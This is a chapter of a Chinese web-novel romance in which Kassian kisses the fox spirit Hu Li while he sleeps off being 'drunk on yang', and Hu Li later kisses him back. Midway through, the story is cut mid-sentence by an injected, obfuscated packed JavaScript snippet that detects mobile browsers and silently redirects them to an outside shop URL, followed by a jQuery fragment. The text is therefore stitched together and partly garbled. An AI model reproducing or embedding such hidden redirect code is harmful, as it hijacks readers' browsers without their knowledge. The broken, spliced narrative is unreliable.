“达伦斯,你来别人家能不能讲点礼貌?”
达伦斯噔噔噔上楼,大嗓门能将整间别墅掀翻,“咱俩是什么关系?那可是光屁股一起长大的情谊,你跟我计较这些?”
卡西安没理会他的聒噪,目光死死锁在胡黎身上。
胡黎趴在桌边,像是困极了,脑袋枕在他的手臂上,下颌贴着冰凉光滑的桌面,舒服地眯着眼,喉咙里发出细微的、满足的咕噜声。
胡黎,醉阳了。
在他们青丘有个不成文的规定:吸阳,吸八分饱。
如果吸到满的溢出,就会出现类似于“醉酒”一样的状态。
“阳品”好一点的,会昏昏欲睡。“阳品”差一点的,甚至会胡言乱语,又哭又笑。
卡西安调整了下胡黎的头,让他可以更舒服地躺在自己手臂上,才慢吞吞回达伦斯:“你车呢?”
“我车撞了。”达伦斯迈上最后一节台阶,满脸写着晦气。
“怎么撞了?”卡西安声音轻轻的,怕吵醒胡黎的美梦。
但达伦斯似是终于找到了倾诉对象,大嗓门一股脑倒苦水:“就是我之前跟你提过的,那个特别可爱、眼睛亮亮的、皮肤白白的、他笑起来的时候……”
他用手在脸上比划了一下,“这里一个小酒窝,说话还糯糯的亚裔小粉丝。”
卡西安觉得达伦斯太吵了,俯身抱起胡黎。
让胡黎的脸埋在他的胸肌里。
“我特意给他留了离我最近的座位,可他呢?”达伦斯话匣子打开,“比赛都快打完了他都没来!放我鸽子!”
卡西安轻嗤一声:“这和你撞车有什么关系?”
达伦斯苦恼得挠挠头,“我生气啊,走神就撞车了。”
怀里的人呼吸均匀,睡得好似一只餍足的小猫,一束光透过窗户照在他脸上,卡西安伸手用手掌盖在胡黎脸上,替他遮住刺目的阳光。
达伦斯见人不理他,追上来抓着卡西安的胳膊道:“你说小粉丝明明很喜欢我,为什么要放我鸽子?他……”
话未说完,达伦斯像见了鬼一样,呆住。
怀里……
是谁?一个亚裔?
卡西安甩开他错愕的手,抱着胡黎往里间走,“你粉丝喜不喜欢你,我不知道。”他顿了顿,声音平静无波,“但你,肯定是喜欢你粉丝。”
半晌没听到回声。
直到卡西安走到卧房门口,身后传来一声低低的、变了调的声音,“等等。”
达伦斯追上来,死死盯着卡西安怀里的人。
乌黑的头发,白皙的脖颈,巴掌大的脸被卡西安遮着,怎么看都觉得眼熟。
胡黎醉得太厉害了,完全不知道正在陷入一场对峙。
他靠在坚实的胸膛上,安心地睡着,甚至无意识地在卡西安的衬衫上蹭了蹭脸颊。
达伦斯眼睛瞪得大大的,突然蹦起来道:“你谈恋爱了?”
卡西安没有回答“是”或“不是”,全当是默认了。
他欲转身绕开达伦斯,却被一只手臂拦住了去路,“让我看看,到底是哪个小美人,能让你这尊大佛动了凡心?”
他面前的人是谁?
那可是学校里被人排着队都求不来一个笑脸的卡西安啊?现在,居然在自家别墅里玩起了“金屋藏娇”?
达伦斯试图拨开卡西安的手,被卡西安侧身避开。
“他累了,需要休息。”卡西安赏了他一个白眼,不客气道:“别吵。”
“我就看一眼,一眼!”达伦斯不依不饶。
卡西安抱着胡黎,用后背顶开了达伦斯,然后转头看他,冰蓝色的眸子里不带一丝温度,“你再不依不饶,休怪我不念从小长大的情谊,将你请出去了。”
达伦斯定定站在原地。
“车钥匙在桌子上,你开走吧。”
说罢,卡西安“嘭”地重重关上了门。
门外,传来达伦斯淅淅沥沥的脚步声,好似一个陀螺似的在门前来回踱步。
“一个两个,都搞上对象了。”达伦斯情绪低落,自言自语,“卡西安那家伙,屋里藏人。罗曼也牵了个小男友看比赛……”
他脚步声停了下来。
靠在走廊的墙上,仰头看着天花板。
“就剩我了。”
走廊里安静极了,只能听到达伦斯自己的呼吸声,他丧气地踢了踢脚边的空气,“他那个小粉丝……”
真气死个人。
想到小粉丝,达伦斯还是止不住嘴角上扬,“能怎么办?只能对小粉丝更好一点了呗。”
脚步声复又响起,慢慢变远,下楼,带上别墅大门。
卡西安将人放在柔软的大床上,胡黎陷进蓬松的被褥里,乍一从阳气充裕的怀里离开,不满地皱了皱眉头,抓着被子拱了拱,终究是没有醒。
卡西安站在床边,垂眸看了他许久。
阳光透过纱帘照进来,细细碎碎地洒在胡黎的脸上,那张白皙的脸颊上透着一点潮红,他的心似是被什么烫了一下。
鬼使神差地,卡西安缓缓俯下身。
指尖轻轻拂开胡黎额前的碎发,然后,温热的唇瓣,极其轻柔地,覆上了那双轻薄的红唇。
那唇,柔软得不可思议。
睡梦中的胡黎含糊地“嗯”了一声,无意识地微微仰头,迎合了卡西安的唇瓣。
卡西安僵了一瞬,才不舍地分开双唇。
他本不该这样的。
卡西安一屁股坐在地上,后背抵着冰凉的墙壁,他听见自己的心跳声,正在用一种全然陌生的频率跳动着,一下比一下跳得快,像是被人从外面急切地敲开他心上那道门。
高冷之花没折断,只是没遇见折他的人罢了。
不知过了多久,卡西安再次睁开眼睛时,眼睛里的火又恢复到了冰蓝色,他慢慢跪直起身,近乎虔诚地替胡黎盖上了薄被。
……
胡黎一觉睡到日暮。
他睁开眼,有些茫然地眨了眨,醉阳之后,头还是痛痛的。
胡黎坐起身子,靠在床头,伸手轻轻揉了下酸涩的眉心。
醉了一天,连骨头缝里都透着酥软,但心情却是极好的,那感觉就像……
情潮之后浑身疲乏,但就是莫名的□□。
当然,这不是胡黎说的。
是他那个整流连在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498104|202604||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花丛中,从来不着家的狐狸精大哥说的,以前这话,胡黎一个字都不信。
现在,且信一半吧。
胡黎这才想起来打开手机,点开“阳气检测”APP,看着上面绿色的【99%】,心情舒爽。
如果……
他不运动,不到处溜达,不发怒,不紧张,保持心情平稳,当然也不做噩梦的话,能坚持三天有余。
时间是短了一点。
但这都要归咎于他内里太虚,妖丹存不住阳气,就跟一个破水桶一样,装得不多,还漏得快。
底子不好,那就只能多吸!勤吸!
胡黎没找到拖鞋,光着脚踩在地板上。
他寻着光下楼,一眼便瞧见卡西安独自坐在巨大的落地窗前,夕阳的余晖打在他脸上,直挺的鼻梁,极淡的嘴唇,冷厉的下颌线,每一处都似是女娲造人亲自出了手。
赤裸裸把偏爱都分给了他一个人。
那一瞬,胡黎好似终于能理解那些女生口中的“神性”了。
胡黎看得有点痴了,“醉阳”后的余韵晃得他心神荡漾,牵起心中一阵痒痒的。
卡西安似是察觉到身后一道焦灼目光,他合上书,缓缓转过身来。
视线撞到胡黎的那一刻,冰蓝眸子的冷寂瞬间散尽,“醒了?”
“嗯。”胡黎揉了揉微红的眼角,嗓音带着刚睡醒的哑,“对不起,我好像……睡了好久。”
“一下午。”卡西安目光一寸寸扫过胡黎全身,最后停留在胡黎脸上,确认对方没什么大碍后,才微微张口,“饿了吗?我叫厨房准备了晚餐。”
“不、不用了。”
胡黎想起自己已经消失了一整天,指不定陆时砚还等他回去吃饭呢。
当然,更可能是他自己出去花天酒地了。
但胡黎还是坚持摇摇头,“我室友等我回去吃饭。”
卡西安点点头,没有强留,只是那双修长的手下意识地收紧了书脊,在书上攥出一个褶皱。
他看着胡黎小跑着到门口,拎起自己的鞋,心脏某处猛地一抖。
胡黎拎着鞋顿了一下,他回头看了一眼夕阳下的卡西安。
然后,转身小跑回来。
胡黎俯身压了上去,以迅雷不及掩耳之势在那薄唇上落下一个吻。
蜻蜓点水,一触即分。
卡西安的额角突突跳了两下,他抬手,指尖还没触碰到胡黎,胡黎就已经迅速撤离。
【叮!阳气补齐:100%】
胡黎笑颜如花,赤着脚踩在昂贵的地板上飞速跑开,像是个偷到宝藏的小贼,得手即跑,绝不恋战。
“这就完了?”卡西安看着举着的空荡荡的手。
胡黎穿上鞋,转身朝着卡西安调皮地眨眨眼,“卡西安先生,三天后见。”
“砰”地一声,别墅门关上。
带走了胡黎一身的香气,也带走一室的喧嚣。
卡西安呆呆坐在落地窗下,许久未动,夕阳没入地平线,卡西安缓缓抬起手,在胡黎刚刚吻过的地方抚了抚。
自嘲地低声一笑。
三天!
可是,为什么是三天呢?